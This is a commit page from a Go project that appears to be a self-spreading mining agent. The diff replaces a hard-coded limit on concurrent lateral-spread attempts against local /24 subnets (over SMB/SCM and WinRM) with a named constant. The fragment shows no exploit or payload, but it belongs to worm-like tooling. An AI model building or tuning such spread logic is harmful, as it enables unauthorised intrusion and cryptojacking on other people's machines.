Add scale limit constants, stale-agent indexed query, and tests.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Extract fleet caps (128 hosts, sem=16, 250ms coalesce, syscheck=20) into named constants with Go tests; wire ListStaleOnlineAgents for stale sweeps instead of full ListAgents scans.
This commit is contained in:
@@ -55,10 +55,10 @@ func RunSpreadOnce(cfg config.RuntimeConfig) string {
|
||||
return "lateral spread sweep started on local /24 subnets (SMB/SCM + WinRM when enabled)"
|
||||
}
|
||||
|
||||
// spreadSem limits concurrent spread goroutines to 16 to prevent a goroutine
|
||||
// storm on /24 sweeps (M20). Each attempt can block for several seconds on
|
||||
// SMB/sc.exe, so without a cap all 254 run concurrently.
|
||||
var spreadSem = make(chan struct{}, 16)
|
||||
// spreadSem limits concurrent spread goroutines (SpreadConcurrencyCap) to prevent
|
||||
// a goroutine storm on /24 sweeps (M20). Each attempt can block for several
|
||||
// seconds on SMB/sc.exe, so without a cap all 254 run concurrently.
|
||||
var spreadSem = make(chan struct{}, SpreadConcurrencyCap)
|
||||
|
||||
func spreadToLocalSubnet(cfg config.RuntimeConfig) {
|
||||
if ok, reason := AllowAutospread(cfg); !ok {
|
||||
|
||||
Reference in New Issue
Block a user